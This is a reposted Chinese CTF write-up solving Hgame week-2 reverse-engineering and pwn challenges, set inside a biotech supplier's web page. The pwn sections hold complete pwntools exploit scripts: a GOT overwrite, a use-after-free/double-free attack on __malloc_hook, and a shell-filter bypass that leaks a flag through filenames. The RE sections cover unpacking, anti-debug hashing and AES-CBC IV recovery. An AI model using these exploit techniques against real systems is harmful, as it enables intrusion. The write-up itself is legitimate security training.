4000-520-616
欢迎来到免疫在线!(蚂蚁淘生物旗下平台)  请登录 |  免费注册 |  询价篮
主营:原厂直采,平行进口,授权代理(蚂蚁淘为您服务)
咨询热线电话
4000-520-616
当前位置: 首页 > 新闻动态 >
新闻详情
记一次CTF实战练习(RE/PWN) - SecPulse.COM | 安全脉搏
来自 : www.secpulse.com/archives/1515 发布时间:2021-03-24

这是Hgame_CTF第二周的题目,一共有四周。相对来说,比第一周难(HgameCTF(week1)-RE,PWN题解析)。这次的有一道逆向考点也挺有意思,得深入了解AES的CBC加密模式才能解题。还有一道pwn虽然能getshell,但是程序关闭了回显,并不能获取flag。队友提供了一种比较骚的思路才解开。

##pwn

###Another_Heaven

该题目存在一个后门

*(_DWORD *)v5 = readi(); // 可以写入一个地址

read(0, (void *)*(signed int *)v5, 1uLL);

这两行代码意思是 可以自己输入一个地址,然后可以改变该地址里边的一个数值。另外没有发现其他的漏洞。

再看cspw函数

__int64 cpswd()

{

int i; // [rsp+Ch] [rbp-14h]

puts( Input new password:

read_n((__int64)buf, 48);

printf( Processing. , 48LL);

for ( i = 0; i strlen(buf); ++i )

{

if ( !strncpy((char *)(i + 0x602160LL), buf[i], 1uLL) )// 覆盖到flag

{

puts( System Error!

exit(0);

}

putchar( .

usleep(10000u);

}

puts( Done!

return 0LL;

}

可以覆盖flag,那么strncpy第一个参数就是读取的flag,其实strncpy和puts函数地址只相差了一位,那么可以通过改变这一位来使得strncpy变成puts函数输出flag。

#!/usr/bin/python

#coding:utf-8

from pwn import *

from time import *

from LibcSearcher import *

context.log_level= debug

REMOTE_LIBC = ./db/libc6_2.24-9ubuntu2.2_amd64.so

io = remote( 172.17.0.2 ,10001)

#elf = ELF(EXEC_FILE)

#libc = ELF(REMOTE_LIBC)

io.recv()

raw_input()

io.sendline(str(0x0602020))#修改strncpy

io.send( \\xE6 )

io.recvuntil( : )

io.sendline( E99p1ant )

io.recvuntil( : )

io.sendline( a )

io.recvuntil( (y/n) )

io.sendline( y )

io.recvuntil( ? )

io.sendline( Alice·Synthesis·Thirty )

io.recvuntil( : )

io.sendline( a )

print io.recv()

io.interactive()

###Roc826s_Note

题目没有edit函数,但是delete函数存在uaf漏洞,给了libc,可以先释放unsorted bin求出libc基地址,然后通过double free来修改malloc hook跳转到one_gadget。

#!/usr/bin/python

#coding:utf-8

from pwn import *

from time import *

from LibcSearcher import *

context.log_level= debug

#EXEC_FILE = ./ROP_LEV

REMOTE_LIBC = ./libc-2.23.so

#main_offset = 3951392

io = remote( 47.103.214.163 ,21002)

#io = process( ./Roc826 )

#elf = ELF(EXEC_FILE)

libc = ELF(REMOTE_LIBC)

def add(size,content):

io.sendlineafter( : , 1 )

io.sendlineafter( ? ,str(size))

io.sendlineafter( : ,content)

def show(idx):

io.sendlineafter( : , 3 )

io.sendlineafter( ? ,str(idx))

def delete(idx):

io.sendlineafter( : , 2 )

io.sendlineafter( ? ,str(idx))

add(0x89, a )#0

add(0x10, b )#1

delete(0)

show(0)

io.recvuntil( content: )

unsorted_bin = u64(io.recvn(6).ljust(8, \\x00 )) - 88

print hex(unsorted_bin)

libc_addr = unsorted_bin - 3951392

print hex(libc_addr)

__malloc_hook = libc_addr + libc.sym[ __malloc_hook ]

add(0x68, c )#2

add(0x68, d )#3

add(0x68, e )#4

delete(2)

delete(3)

delete(2)

add(0x68,p64(__malloc_hook-35)*2)#5

add(0x68, f )#6

add(0x68, g )

add(0x68,19* \\x00 +p64(libc_addr+0xf1147))

io.sendlineafter( : , 1 )

io.sendlineafter( ? ,str(0x68))

io.interactive()

###findyourself

题目考察过滤,有两个check函数,如果通过check函数就会执行system

signed __int64 __fastcall check1(const char *a1)

{

signed __int64 result; // rax

int i; // [rsp+1Ch] [rbp-14h]

for ( i = 0; i strlen(a1); ++i )

{

if ( (a1[i] = 96 || a1[i] 122) (a1[i] = 64 || a1[i] 90) a1[i] != 47 a1[i] != 32 a1[i] != 45 )

return 0xFFFFFFFFLL;

}

if ( strstr(a1, sh ) || strstr(a1, cat ) || strstr(a1, flag ) || strstr(a1, pwd ) || strstr(a1, export ) )

result = 0xFFFFFFFFLL;

else

result = 0LL;

return result;

}

signed __int64 __fastcall check2(const char *a1)

{

signed __int64 result; // rax

if ( strchr(a1, 42)

|| strstr(a1, sh )

|| strstr(a1, cat )

|| strstr(a1, .. )

|| strchr(a1, 38)

|| strchr(a1, 124)

|| strchr(a1, 62)

|| strchr(a1, 60) )

{

result = 0xFFFFFFFFLL;

}

else

{

result = 0LL;

}

return result;

}

原本是绕过了第一个check,想通过第二个check得到终端。exp如下

#!/usr/bin/python

#coding:utf-8

from pwn import *

from time import *

from LibcSearcher import *

context.log_level= debug

#EXEC_FILE = ./ROP_LEV

REMOTE_LIBC = ./db/libc6_2.24-9ubuntu2.2_amd64.so

io = remote( 47.103.214.163 ,21000)

#elf = ELF(EXEC_FILE)

#libc = ELF(REMOTE_LIBC)

io.recvuntil( yourself )

io.sendline( ls -l /proc/self/cwd )

sleep(0.1)

io.recvuntil( - )

chdir = io.recvn(15)

io.recv()

io.sendline(chdir)

sleep(0.1)

raw_input()

io.sendline( ltotal 4004 )

io.interactive()

但是该题目在执行第二个system之前close(1),所以没有回显。后来队内的师傅想到了把 flag 里面的内容当成新建文件的名字然后就能 ls -l 读出来。getshell之后虽然没有回显,但是输入命令可以执行。先执行

cat /flag /tmp/`cat /flag`

使用flag当作文件名创建一个文件。然后ls -l /tmp输出flag

\"image.png\"/

##RE

###unpack

题目加有类似upx的壳,或许用esp定律可以脱,但是是elf程序,最后凭经验追到OEP。

追到下边代码的时候就能感觉到已经进入OEP了

LOAD:0000000000400890 loc_400890:

LOAD:0000000000400890 xor ebp, ebp

LOAD:0000000000400892 mov r9, rdx

LOAD:0000000000400895 pop rsi

LOAD:0000000000400896 mov rdx, rsp

LOAD:0000000000400899 and rsp, 0FFFFFFFFFFFFFFF0h

LOAD:000000000040089D push rax

LOAD:000000000040089E push rsp

LOAD:000000000040089F mov r8, 4017A0h

LOAD:00000000004008A6 mov rcx, 401710h

LOAD:00000000004008AD mov rdi, offset sub_4009AE

LOAD:00000000004008B4 call loc_401250

LOAD:00000000004008B9 hlt

很容易就能看到flag处理函数

__int64 sub_4009AE()

{

__int64 result; // rax

signed int v1; // [rsp+8h] [rbp-48h]

signed int i; // [rsp+Ch] [rbp-44h]

char v3[56]; // [rsp+10h] [rbp-40h]

unsigned __int64 v4; // [rsp+48h] [rbp-8h]

v4 = __readfsqword(0x28u);

sub_40F570((__int64) unk_4A13A8, v3);

v1 = 0;

for ( i = 0; i = 41; ++i )

{

if ( i + v3[i] != (unsigned __int8)unk_6CA0A0[i] )

v1 = 1;

}

if ( v1 == 1 )

sub_40FE40( unk_4A13AD, v3);

else

sub_40FE40( unk_4A13C0, v3);

result = 0LL;

if ( __readfsqword(0x28u) != v4 )

sub_443040();

return result;

}

exp

q = 6868637069805B7578496D76757B756E4184716544824A858C827D7A824D907E92549888969857958FA6

flag = []

for i in range(0,len(q),2):

flag.append(int(q[i:i+2],16))

flags =

for i in range(len(flag)):

flags+=chr(flag[i]-i)

print flags


###bbbbbb

该题目挺有意思的,首先输入flag。

do

{

LOBYTE(v64) = _

v66 = sub_7FF6A2974B70( v96, v64, 0i64);

sub_7FF6A2974D90( v96, v97, 0i64, v66);

sub_7FF6A2974AE0( v96, 0i64, v66 + 1);

v67 = (const char *)sub_7FF6A2974A10( v97);

*((_DWORD *) v90 + v65) = atoi(v67);

sub_7FF6A2974150( v97);

++v65;

}

while ( v65 4 );

上边代码的意思是按下划线切割flag,分割成四个数字。也就是说,输入flag格式为aaa bbb ccc ddd

然后经过

v68 = GetCurrentProcess();

v69 = GetModuleHandleW(0i64);

*(_OWORD *)modinfo = 0ui64;

*(_QWORD *) modinfo[16] = 0i64;

K32GetModuleInformation(v68, v69, (LPMODULEINFO)modinfo, 0x18u);

v92 = 0ui64; // 并没有覆盖到

v93 = 0ui64;

v94 = 0;

sub_7FF6A2971010( sha_init);

v70 = (char *)(*(_QWORD *)modinfo + 0x1000i64);

if ( *(_QWORD *)modinfo + 0x1000i64 (unsigned __int64)(*(_QWORD *)modinfo + 20480i64) )

{

do

{

sub_7FF6A2971090((__int64) sha_init, v70, 0x1000ui64);

memset( Dst, 0, 1232ui64);

v102 = 0x100010;

v71 = GetCurrentThread();

GetThreadContext(v71, (LPCONTEXT) Dst);

sub_7FF6A2971090((__int64) sha_init, v103, 0x20ui64);

v70 += 0x1000;

}

while ( (unsigned __int64)v70 *(_QWORD *)modinfo + 0x5000i64 );

}

sub_7FF6A29711C0( v92, sha_init);

v72 = _mm_xor_si128(_mm_loadu_si128((const __m128i *) v92), _mm_loadu_si128((const __m128i *) v93));

_mm_storeu_si128((__m128i *) v92, v72);

先看sub_7FF6A2971010函数,里边初始化赋值,明显是sha类的哈希函数。

signed __int64 __fastcall sub_7FF6A2971010(__int64 a1)

{

signed __int64 result; // rax

*(_QWORD *)(a1 + 32) = 0i64;

*(_QWORD *)(a1 + 40) = 0i64;

*(_QWORD *)(a1 + 48) = 0i64;

*(_QWORD *)(a1 + 56) = 0i64;

*(_QWORD *)(a1 + 64) = 0i64;

*(_QWORD *)(a1 + 72) = 0i64;

*(_QWORD *)(a1 + 80) = 0i64;

*(_QWORD *)(a1 + 88) = 0i64;

*(_QWORD *)(a1 + 96) = 0i64;

*(_DWORD *)(a1 + 104) = 0;

result = 1i64;

*(_DWORD *)a1 = 1779033703;

*(_DWORD *)(a1 + 4) = -1150833019;

*(_DWORD *)(a1 + 8) = 1013904242;

*(_DWORD *)(a1 + 12) = -1521486534;

*(_DWORD *)(a1 + 16) = 1359893119;

*(_DWORD *)(a1 + 20) = -1694144372;

*(_DWORD *)(a1 + 24) = 528734635;

*(_DWORD *)(a1 + 28) = 1541459225;

*(_DWORD *)(a1 + 108) = 32;

return result;

}

然后通过K32GetModuleInformation函数获取到模块信息进行加密,也就是获取地址为0x7FF6A2971000-0x7FF6A2975000之间的数据进行加密,每次获取0x1000个字节,这里边刚好包含了主要函数。这个主要用于反调试,防止别人修改代码和下普通断点,其实尝试着在这之间下不同断点会发现每次得到的哈希值都不一样。然后通过GetThreadContext函数获取线程上下文,得到的数据进行加密,印象中这个函数可以用于防止下硬件断点。在这种情况下,我们可以在exit函数下断点,因为exit函数位于加密地址之外,不会影响正确的哈希值,主要捕捉到里边生成的正确的哈希值就行。

\"image.png\"/

然后通过CE来扫描数据,调试发现,正确的哈希值位于我们输入的flag下一行。比如我们输入

123_456_789_111

那我们可以搜索 7B 00 00 00 C8 01 00 00 15 03 00 00 6F 00 00 00 通过CE搜索可以得到哈希值

\"image.png\"/

那么可以得到0x932877ad 0x4da107ea 0xc767e46b 0x5a857214,还要注意程序使用atoi转换的数字,0x932877ad和0xc767e46b输入之后会变成负数,这个得注意一下。最后输入

1302398954_-1826064467_1518694932_-949492629

得到flag:

hgame{1302398954_2468902829_1518694932_3345474667}


###babyPy

题目直接给出pyc的opcode

In [1]: from secret import flag, encrypt

In [2]: encrypt(flag)

Out[2]: 7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22

In [3]: import dis

In [4]: dis.dis(encrypt)

4 0 LOAD_FAST0 (OOo)

2 LOAD_CONST 0 (None)

4 LOAD_CONST 0 (None)

6 LOAD_CONST 1 (-1)

8 BUILD_SLICE 3

10 BINARY_SUBSCR

12 STORE_FAST 1 (O0O)

5 14 LOAD_GLOBAL 0 (list)

16 LOAD_FAST1 (O0O)

18 CALL_FUNCTION1

20 STORE_FAST 2 (O0o)

6 22 SETUP_LOOP 50 (to 74)

24 LOAD_GLOBAL 1 (range)

26 LOAD_CONST 2 (1)

28 LOAD_GLOBAL 2 (len)

30 LOAD_FAST2 (O0o)

32 CALL_FUNCTION1

34 CALL_FUNCTION2

36 GET_ITER

38 FOR_ITER32 (to 72)

40 STORE_FAST 3 (O0)

7 42 LOAD_FAST2 (O0o)

44 LOAD_FAST3 (O0)

46 LOAD_CONST 2 (1)

48 BINARY_SUBTRACT

50 BINARY_SUBSCR

52 LOAD_FAST2 (O0o)

54 LOAD_FAST3 (O0)

56 BINARY_SUBSCR

58 BINARY_XOR

60 STORE_FAST 4 (Oo)

8 62 LOAD_FAST4 (Oo)

64 LOAD_FAST2 (O0o)

66 LOAD_FAST3 (O0)

68 STORE_SUBSCR

70 JUMP_ABSOLUTE 38

72 POP_BLOCK

9 74 LOAD_GLOBAL 3 (bytes)

76 LOAD_FAST2 (O0o)

78 CALL_FUNCTION1

80 STORE_FAST 5 (O)

10 82 LOAD_FAST5 (O)

84 LOAD_METHOD 4 (hex)

86 CALL_METHOD 0

88 RETURN_VALUE

In [5]: exit()

需要注意

BINARY_SUBTRACT 为相减,BINARY_SUBSCR 取值

可以还原

flag = sfesefsfhthfyhjjus

O0o = list(flag)

out_flag =

for i in range(1,len(O0o)):

O0 = i

Oo = ord(O0o[O0-1])^ord(O0o[O0])

O0o [O0] = Oo

写出exp

q = 7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22

flag = []

for i in range(0,len(q),2):

flag.append(int(q[i:i+2],16))

print flag

flags =

flag = flag[::-1]

for i in range(len(flag)-1):

flag[i] = flag[i+1]^flag[i]

flags += chr(flag[i])

flags += chr(0x7d)

print flags


###classic_CrackMe

.net程序

string text = this.textBox1.Text;

if (text.Length != 46 || text.IndexOf( hgame{ ) != 0 || text.IndexOf( } ) != 45)

{

MessageBox.Show( Illegal format

return;

}

string base64iv = text.Substring(6, 24);

string str = text.Substring(30, 15);

try

{

Aes aes3 = new Aes( SGc0bTNfMm8yMF9XZWVLMg== , base64iv);

Aes aes2 = new Aes( SGc0bTNfMm8yMF9XZWVLMg== , MFB1T2g5SWxYMDU0SWN0cw==

string text2 = aes3.DecryptFromBase64String( mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I==

if (text2.Equals( Same_ciphertext_ ))

{

byte[] array = new byte[16];

Array.Copy(aes2.EncryptToByte(text2 + str), 16, array, 0, 16);

if (Convert.ToBase64String(array).Equals( dJntSWSPWbWocAq4yjBP5Q== ))

{

MessageBox.Show( 注册成功!

this.Text = 已激活,欢迎使用!

this.status = 1;

}

else

{

MessageBox.Show( 注册失败!\\nhint: + aes2.DecryptFromBase64String( mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I= ));

}

}

else

{

MessageBox.Show( 注册失败!\\nhint: + aes2.DecryptFromBase64String( mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I= ));

}

}

catch

{

MessageBox.Show( 注册失败!

}

}

输入的flag分成两部分,前部分当成iv。用已知的iv( MFB1T2g5SWxYMDU0SWN0cw== )去解密的话会得到Learn principles,不符合要求,显然这是要学习原理,求出iv。

明文,密文,密钥,我们都知道,不同的iv得到的不同明文我们也知道。通过原理可知 IV 和 DecChiperText 和 plainText 是 xor 关系。

解密时:用 key 去解密 chiperText 再和 IV 异或就能得到 plainText

plainText = ( Decrypt(chiperText, key) ) ^ IV

上面的公式 分成两步:

1.DecChiperText = Decrypt(chiperText, key) //使用 key 去解密 chiperText

2.plainText = tmp ^ IV //这样的话, 就算 iv 是错的 也不会影响到 Decrypt(chiperText, key)

已知:

key = Hg4m3_2o20_WeeK2

plainText = Same_ciphertext_

chiperText = \\x9a7Q\\xa8~\\x1d\\xd4\\xef mF\\t\\x93\\xec\\x15\\xbbp\\x1e\\x13\\xb6m\\x13\\xda\\xedO\\xff\\x01\\x03\\xc2|\\xf7\\xb2

再构造一个 假 IV 去解密,变成:

fakeIV = aaaaaaaaaaaaaaaa

key = Hg4m3_2o20_WeeK2

plainText = Same_ciphertext_

chiperText = \\x9a7Q\\xa8~\\x1d\\xd4\\xef mF\\t\\x93\\xec\\x15\\xbbp\\x1e\\x13\\xb6m\\x13\\xda\\xedO\\xff\\x01\\x03\\xc2|\\xf7\\xb2

fakePlainText = ( Decrypt(chiperText, key) ) ^ fakeIV

plainText = fakePlainText ^ fakeIV

因为得到的结果 fakePlainText 是异或过 fakeIV 的,我们只要 再次异或 fakeIV 就能得到公式上面第一步得到的结果 DecChiperText。DecChiperText 和 IV 和 plainText 是 xor 关系现在已知 DecChiperText 和 plainText 就能求出 真正的 IV

IV = DecChiperText ^ plainText

可以写python代码

from Crypto.Cipher import AES

import base64

key = base64.b64decode( SGc0bTNfMm8yMF9XZWVLMg== )

fakeIV = aaaaaaaaaaaaaaaa

plainText = Same_ciphertext_

chiperText = base64.b64decode( mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I= )

mode = AES.MODE_CBC

aesCipher = AES.new(key, mode, fakeIV)

fakePlainText = aesCipher.decrypt(chiperText)

#print fakePlainText

IV =

for i in range(16):

IV += chr(ord(fakePlainText[i]) ^ ord(fakeIV[i]) ^ ord(plainText[i]))

print IV : + IV

#IV : /TyXYzPnY;$)\\we_

求得IV为/TyXYzPnY;$)\\we_ 经过base64加密后为L1R5WFl6UG5ZOyQpXHdlXw==

然后使用text2和后半部分flag拼接加密,加密后的密文最后24位必须为 dJntSWSPWbWocAq4yjBP5Q== 。text2位16位,刚好填充满,通过原理可知,密文前面16位不变。那么可以先让text2单独加密,得到密文的16进制,然后同 dJntSWSPWbWocAq4yjBP5Q== 的16进制形式拼接在一起,经过base64加密,得到密文 xlKKQA5RPpyyA1YBjDeL5HSZ7Ulkj1m1qHAKuMowT+U 。直接解密得到后半flag。

\"image.png\"/

(完)

如果想更多系统的学习CTF,可点击链接进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。


本文作者:蚁景科技

本文链接: http://fakeprint.immuno-online.com/view-696778.html

发布于 : 2021-03-24 阅读(0)
公司介绍
联络我们
服务热线:4000-520-616
(限工作日9:00-18:00)
QQ :1570468124
手机:18915418616
官网:http://